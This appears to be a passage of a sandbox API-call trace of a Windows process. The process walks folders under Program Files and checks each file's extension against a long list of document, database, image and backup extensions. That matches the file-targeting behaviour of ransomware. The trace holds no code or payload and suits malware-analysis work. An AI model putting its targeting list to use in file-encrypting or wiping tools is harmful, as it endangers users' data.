	[0179.500] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0179.500] lstrlenW (lpString=".ai4") returned 4
	[0179.500] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0179.500] lstrlenW (lpString=".ai5") returned 4
	[0179.500] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0179.500] lstrlenW (lpString=".ai6") returned 4
	[0179.500] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0179.500] lstrlenW (lpString=".ai7") returned 4
	[0179.500] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0179.500] lstrlenW (lpString=".ai8") returned 4
	[0179.500] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0179.500] lstrlenW (lpString=".anim") returned 5
	[0179.500] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1
	[0179.500] lstrlenW (lpString=".arw") returned 4
	[0179.500] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0179.500] lstrlenW (lpString=".as") returned 3
	[0179.501] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0179.501] lstrlenW (lpString=".asa") returned 4
	[0179.501] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0179.501] lstrlenW (lpString=".asc") returned 4
	[0179.501] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0179.501] lstrlenW (lpString=".ascx") returned 5
	[0179.501] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1
	[0179.501] lstrlenW (lpString=".asm") returned 4
	[0179.501] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0179.501] lstrlenW (lpString=".asmx") returned 5
	[0179.501] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1
	[0179.501] lstrlenW (lpString=".asp") returned 4
	[0179.501] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0179.501] lstrlenW (lpString=".aspx") returned 5
	[0179.501] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1
	[0179.501] lstrlenW (lpString=".asr") returned 4
	[0179.501] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0179.501] lstrlenW (lpString=".asx") returned 4
	[0179.501] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0179.501] lstrlenW (lpString=".avi") returned 4
	[0179.501] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0179.501] lstrlenW (lpString=".avs") returned 4
	[0179.501] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0179.501] lstrlenW (lpString=".backup") returned 7
	[0179.501] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1
	[0179.501] lstrlenW (lpString=".bak") returned 4
	[0179.501] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0179.501] lstrlenW (lpString=".bay") returned 4
	[0179.501] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0179.501] lstrlenW (lpString=".bd") returned 3
	[0179.501] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0179.502] lstrlenW (lpString=".bin") returned 4
	[0179.502] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0179.502] lstrlenW (lpString=".bmp") returned 4
	[0179.502] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0179.502] lstrlenW (lpString=".bz2") returned 4
	[0179.502] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0179.502] lstrlenW (lpString=".c") returned 2
	[0179.502] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0179.502] lstrlenW (lpString=".cdr") returned 4
	[0179.502] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0179.502] lstrlenW (lpString=".cer") returned 4
	[0179.502] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0179.502] lstrlenW (lpString=".cf") returned 3
	[0179.502] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0179.502] lstrlenW (lpString=".cfc") returned 4
	[0179.502] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0179.502] lstrlenW (lpString=".cfm") returned 4
	[0179.502] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0179.502] lstrlenW (lpString=".cfml") returned 5
	[0179.502] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1
	[0179.502] lstrlenW (lpString=".cfu") returned 4
	[0179.502] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0179.502] lstrlenW (lpString=".chm") returned 4
	[0179.502] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0179.502] lstrlenW (lpString=".cin") returned 4
	[0179.502] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0179.502] lstrlenW (lpString=".class") returned 6
	[0179.502] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1
	[0179.502] lstrlenW (lpString=".clx") returned 4
	[0179.502] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0179.502] lstrlenW (lpString=".config") returned 7
	[0179.503] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1
	[0179.503] lstrlenW (lpString=".cpp") returned 4
	[0179.503] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0179.503] lstrlenW (lpString=".cr2") returned 4
	[0179.503] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0179.503] lstrlenW (lpString=".crt") returned 4
	[0179.503] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0179.503] lstrlenW (lpString=".crw") returned 4
	[0179.503] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0179.503] lstrlenW (lpString=".cs") returned 3
	[0179.503] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0179.503] lstrlenW (lpString=".css") returned 4
	[0179.503] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0179.503] lstrlenW (lpString=".csv") returned 4
	[0179.503] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0179.503] lstrlenW (lpString=".cub") returned 4
	[0179.503] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0179.503] lstrlenW (lpString=".dae") returned 4
	[0179.503] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0179.503] lstrlenW (lpString=".dat") returned 4
	[0179.503] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0179.503] lstrlenW (lpString=".db") returned 3
	[0179.503] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0179.503] lstrlenW (lpString=".dbf") returned 4
	[0179.503] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0179.503] lstrlenW (lpString=".dbx") returned 4
	[0179.503] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0179.503] lstrlenW (lpString=".dc3") returned 4
	[0179.503] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0179.503] lstrlenW (lpString=".dcm") returned 4
	[0179.503] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0179.503] lstrlenW (lpString=".dcr") returned 4
	[0179.503] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0179.504] lstrlenW (lpString=".der") returned 4
	[0179.504] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0179.504] lstrlenW (lpString=".dib") returned 4
	[0179.504] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0179.504] lstrlenW (lpString=".dic") returned 4
	[0179.504] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0179.504] lstrlenW (lpString=".dif") returned 4
	[0179.504] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0179.504] lstrlenW (lpString=".divx") returned 5
	[0179.504] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1
	[0179.504] lstrlenW (lpString=".djvu") returned 5
	[0179.504] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1
	[0179.504] lstrlenW (lpString=".dng") returned 4
	[0179.504] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0179.504] lstrlenW (lpString=".doc") returned 4
	[0179.504] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0179.504] lstrlenW (lpString=".docm") returned 5
	[0179.504] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1
	[0179.504] lstrlenW (lpString=".docx") returned 5
	[0179.504] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0179.504] lstrlenW (lpString=".dot") returned 4
	[0179.504] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0179.504] lstrlenW (lpString=".dotm") returned 5
	[0179.504] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1
	[0179.504] lstrlenW (lpString=".dotx") returned 5
	[0179.504] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1
	[0179.504] lstrlenW (lpString=".dpx") returned 4
	[0179.504] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0179.504] lstrlenW (lpString=".dqy") returned 4
	[0179.504] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0179.504] lstrlenW (lpString=".dsn") returned 4
	[0179.505] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0179.505] lstrlenW (lpString=".dt") returned 3
	[0179.505] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0179.505] lstrlenW (lpString=".dtd") returned 4
	[0179.505] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0179.505] lstrlenW (lpString=".dwg") returned 4
	[0179.505] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0179.505] lstrlenW (lpString=".dwt") returned 4
	[0179.505] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0179.505] lstrlenW (lpString=".dx") returned 3
	[0179.505] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0179.505] lstrlenW (lpString=".dxf") returned 4
	[0179.505] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0179.505] lstrlenW (lpString=".edml") returned 5
	[0179.505] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1
	[0179.505] lstrlenW (lpString=".efd") returned 4
	[0179.505] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0179.505] lstrlenW (lpString=".elf") returned 4
	[0179.505] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0179.505] lstrlenW (lpString=".emf") returned 4
	[0179.505] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0179.505] lstrlenW (lpString=".emz") returned 4
	[0179.505] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0179.505] lstrlenW (lpString=".epf") returned 4
	[0179.505] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0179.505] lstrlenW (lpString=".eps") returned 4
	[0179.505] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0179.505] lstrlenW (lpString=".epsf") returned 5
	[0179.505] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1
	[0179.505] lstrlenW (lpString=".epsp") returned 5
	[0179.505] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1
	[0179.506] lstrlenW (lpString=".erf") returned 4
	[0179.506] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0179.506] lstrlenW (lpString=".exr") returned 4
	[0179.506] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0179.506] lstrlenW (lpString=".f4v") returned 4
	[0179.506] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0179.506] lstrlenW (lpString=".fido") returned 5
	[0179.506] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1
	[0179.506] lstrlenW (lpString=".flm") returned 4
	[0179.506] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0179.506] lstrlenW (lpString=".flv") returned 4
	[0179.506] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0179.506] lstrlenW (lpString=".frm") returned 4
	[0179.506] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0179.506] lstrlenW (lpString=".fxg") returned 4
	[0179.506] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0179.506] lstrlenW (lpString=".geo") returned 4
	[0179.506] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0179.506] lstrlenW (lpString=".gif") returned 4
	[0179.506] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0179.506] lstrlenW (lpString=".grs") returned 4
	[0179.506] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0179.506] lstrlenW (lpString=".gz") returned 3
	[0179.506] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0179.506] lstrlenW (lpString=".h") returned 2
	[0179.506] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0179.506] lstrlenW (lpString=".hdr") returned 4
	[0179.506] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0179.506] lstrlenW (lpString=".hpp") returned 4
	[0179.506] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0179.506] lstrlenW (lpString=".hta") returned 4
	[0179.506] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0179.507] lstrlenW (lpString=".htc") returned 4
	[0179.507] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0179.507] lstrlenW (lpString=".htm") returned 4
	[0179.507] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1
	[0179.507] lstrlenW (lpString=".html") returned 5
	[0179.507] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1
	[0179.507] lstrlenW (lpString=".icb") returned 4
	[0179.507] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1
	[0179.507] lstrlenW (lpString=".ics") returned 4
	[0179.507] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1
	[0179.507] lstrlenW (lpString=".iff") returned 4
	[0179.507] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1
	[0179.507] lstrlenW (lpString=".inc") returned 4
	[0179.507] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1
	[0179.507] lstrlenW (lpString=".indd") returned 5
	[0179.507] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1
	[0179.507] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0179.508] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0179.508] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0179.508] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0179.509] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0179.509] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0179.509] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0179.509] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0179.511] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 1
	[0179.511] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 0
	[0179.511] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0179.512] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0179.512] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 0
	[0179.512] FindClose (in: hFindFile=0x76ea68 | out: hFindFile=0x76ea68) returned 1
	[0179.512] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0179.512] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 0
	[0179.512] FindClose (in: hFindFile=0x76ea28 | out: hFindFile=0x76ea28) returned 1
	[0179.512] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0179.513] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x22a71b51, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x22a71b51, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0179.513] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4110000
	[0179.514] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x22a71b51, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x22a71b51, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0179.825] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x22a71b51, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x22a71b51, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0179.825] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x22a71b51, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x22a71b51, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.001.etl", cAlternateFileName="UN6414~1.ETL")) returned 1
	[0179.825] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xf95053af, ftLastAccessTime.dwHighDateTime=0x1d5d805, ftLastWriteTime.dwLowDateTime=0x9b236e, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.002.etl", cAlternateFileName="UN8F7C~1.ETL")) returned 1
	[0179.825] lstrlenW (lpString="UniversalNotificationPlatform.002.etl") returned 37
	[0179.825] lstrlenW (lpString=".1cd") returned 4
	[0179.825] lstrcmpiW (lpString1=".1cd", lpString2=".etl") returned -1
	[0179.825] lstrlenW (lpString=".3ds") returned 4
	[0179.825] lstrcmpiW (lpString1=".3ds", lpString2=".etl") returned -1
	[0179.825] lstrlenW (lpString=".3fr") returned 4
	[0179.825] lstrcmpiW (lpString1=".3fr", lpString2=".etl") returned -1
	[0179.825] lstrlenW (lpString=".3g2") returned 4
	[0179.825] lstrcmpiW (lpString1=".3g2", lpString2=".etl") returned -1
	[0179.825] lstrlenW (lpString=".3gp") returned 4
	[0179.825] lstrcmpiW (lpString1=".3gp", lpString2=".etl") returned -1
	[0179.825] lstrlenW (lpString=".7z") returned 3
	[0179.825] lstrcmpiW (lpString1=".7z", lpString2="etl") returned -1
	[0179.825] lstrlenW (lpString=".accda") returned 6
	[0179.825] lstrcmpiW (lpString1=".accda", lpString2="02.etl") returned -1
	[0179.826] lstrlenW (lpString=".accdb") returned 6
	[0179.826] lstrcmpiW (lpString1=".accdb", lpString2="02.etl") returned -1
	[0179.826] lstrlenW (lpString=".accdc") returned 6
	[0179.826] lstrcmpiW (lpString1=".accdc", lpString2="02.etl") returned -1
	[0179.826] lstrlenW (lpString=".accde") returned 6
	[0179.826] lstrcmpiW (lpString1=".accde", lpString2="02.etl") returned -1
	[0179.826] lstrlenW (lpString=".accdt") returned 6
	[0179.826] lstrcmpiW (lpString1=".accdt", lpString2="02.etl") returned -1
	[0179.826] lstrlenW (lpString=".accdw") returned 6
	[0179.826] lstrcmpiW (lpString1=".accdw", lpString2="02.etl") returned -1
	[0179.826] lstrlenW (lpString=".adb") returned 4
	[0179.826] lstrcmpiW (lpString1=".adb", lpString2=".etl") returned -1
	[0179.826] lstrlenW (lpString=".adp") returned 4
	[0179.826] lstrcmpiW (lpString1=".adp", lpString2=".etl") returned -1
	[0179.826] lstrlenW (lpString=".ai") returned 3
	[0179.826] lstrcmpiW (lpString1=".ai", lpString2="etl") returned -1
	[0179.826] lstrlenW (lpString=".ai3") returned 4
	[0179.826] lstrcmpiW (lpString1=".ai3", lpString2=".etl") returned -1
	[0179.826] lstrlenW (lpString=".ai4") returned 4
	[0179.826] lstrcmpiW (lpString1=".ai4", lpString2=".etl") returned -1
	[0179.826] lstrlenW (lpString=".ai5") returned 4
	[0179.826] lstrcmpiW (lpString1=".ai5", lpString2=".etl") returned -1
	[0179.826] lstrlenW (lpString=".ai6") returned 4
	[0179.826] lstrcmpiW (lpString1=".ai6", lpString2=".etl") returned -1
	[0179.826] lstrlenW (lpString=".ai7") returned 4
	[0179.826] lstrcmpiW (lpString1=".ai7", lpString2=".etl") returned -1
	[0179.826] lstrlenW (lpString=".ai8") returned 4
	[0179.826] lstrcmpiW (lpString1=".ai8", lpString2=".etl") returned -1
	[0179.827] lstrlenW (lpString=".anim") returned 5
	[0179.827] lstrcmpiW (lpString1=".anim", lpString2="2.etl") returned -1
	[0179.827] lstrlenW (lpString=".arw") returned 4
	[0179.827] lstrcmpiW (lpString1=".arw", lpString2=".etl") returned -1
	[0179.827] lstrlenW (lpString=".as") returned 3
	[0179.827] lstrcmpiW (lpString1=".as", lpString2="etl") returned -1
	[0179.827] lstrlenW (lpString=".asa") returned 4
	[0179.827] lstrcmpiW (lpString1=".asa", lpString2=".etl") returned -1
	[0179.827] lstrlenW (lpString=".asc") returned 4
	[0179.827] lstrcmpiW (lpString1=".asc", lpString2=".etl") returned -1
	[0179.827] lstrlenW (lpString=".ascx") returned 5
	[0179.827] lstrcmpiW (lpString1=".ascx", lpString2="2.etl") returned -1
	[0179.827] lstrlenW (lpString=".asm") returned 4
	[0179.827] lstrcmpiW (lpString1=".asm", lpString2=".etl") returned -1
	[0179.827] lstrlenW (lpString=".asmx") returned 5
	[0179.827] lstrcmpiW (lpString1=".asmx", lpString2="2.etl") returned -1
	[0179.827] lstrlenW (lpString=".asp") returned 4
	[0179.827] lstrcmpiW (lpString1=".asp", lpString2=".etl") returned -1
	[0179.827] lstrlenW (lpString=".aspx") returned 5
	[0179.827] lstrcmpiW (lpString1=".aspx", lpString2="2.etl") returned -1
	[0179.827] lstrlenW (lpString=".asr") returned 4
	[0179.827] lstrcmpiW (lpString1=".asr", lpString2=".etl") returned -1
	[0179.827] lstrlenW (lpString=".asx") returned 4
	[0179.827] lstrcmpiW (lpString1=".asx", lpString2=".etl") returned -1
	[0179.827] lstrlenW (lpString=".avi") returned 4
	[0179.827] lstrcmpiW (lpString1=".avi", lpString2=".etl") returned -1
	[0179.827] lstrlenW (lpString=".avs") returned 4
	[0179.827] lstrcmpiW (lpString1=".avs", lpString2=".etl") returned -1
	[0179.827] lstrlenW (lpString=".backup") returned 7
	[0179.827] lstrcmpiW (lpString1=".backup", lpString2="002.etl") returned -1
	[0179.828] lstrlenW (lpString=".bak") returned 4
	[0179.828] lstrcmpiW (lpString1=".bak", lpString2=".etl") returned -1
	[0179.828] lstrlenW (lpString=".bay") returned 4
	[0179.828] lstrcmpiW (lpString1=".bay", lpString2=".etl") returned -1
	[0179.828] lstrlenW (lpString=".bd") returned 3
	[0179.828] lstrcmpiW (lpString1=".bd", lpString2="etl") returned -1
	[0179.828] lstrlenW (lpString=".bin") returned 4
	[0179.828] lstrcmpiW (lpString1=".bin", lpString2=".etl") returned -1
	[0179.828] lstrlenW (lpString=".bmp") returned 4
